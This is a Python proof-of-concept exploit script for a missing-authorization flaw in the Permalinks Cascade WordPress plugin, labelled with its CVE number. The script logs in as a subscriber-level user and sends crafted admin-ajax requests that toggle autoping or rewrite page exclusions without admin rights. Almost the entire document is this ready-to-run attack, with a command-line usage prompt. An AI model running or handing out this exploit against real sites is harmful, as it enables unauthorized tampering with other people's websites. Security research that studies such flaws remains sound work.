CVE-2025-12372

import requests import sys # CVE-2025-12372 PoC - Permalinks Cascade Plugin Unauthorized Access # Target: WordPress site with Permalinks Cascade plugin <= 2.2 def exploit_unauthorized_access(target_url, username, password, action='disable_autoping'): """ Exploit missing authorization in handleTPCAdminAjaxRequest function Args: target_url: Base URL of WordPress site username: Valid subscriber-level username password: Password for the user action: Admin action to perform (disable_autoping, enable_autoping, etc.) """ # Setup session session = requests.Session() # Login as subscriber login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } print(f"[*] Logging in as subscriber: {username}") response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in str(session.cookies): print("[-] Login failed!") return False print("[+] Login successful!") # Prepare AJAX request to exploit the vulnerability ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Different actions that can be performed unauthorized actions = { 'disable_autoping': {'tpc_action': 'toggle_autoping', 'autoping_status': '0'}, 'enable_autoping': {'tpc_action': 'toggle_autoping', 'autoping_status': '1'}, 'modify_exclusions': {'tpc_action': 'update_exclusions', 'excluded_pages': '1,2,3'} } if action not in actions: print(f"[-] Unknown action: {action}") return False # Construct exploit payload exploit_data = { 'action': 'handleTPCAdminAjaxRequest', **actions[action] } print(f"[*] Sending exploit request: {action}") response = session.post(ajax_url, data=exploit_data) if response.status_code == 200: print(f"[+] Exploit sent successfully!") print(f"[*] Response: {response.text[:200]}") return True else: print(f"[-] Exploit failed with status: {response.status_code}") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> [action]") print(f"Actions: disable_autoping, enable_autoping, modify_exclusions") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] act = sys.argv[4] if len(sys.argv) > 4 else 'disable_autoping' exploit_unauthorized_access(target, user, pwd, act)

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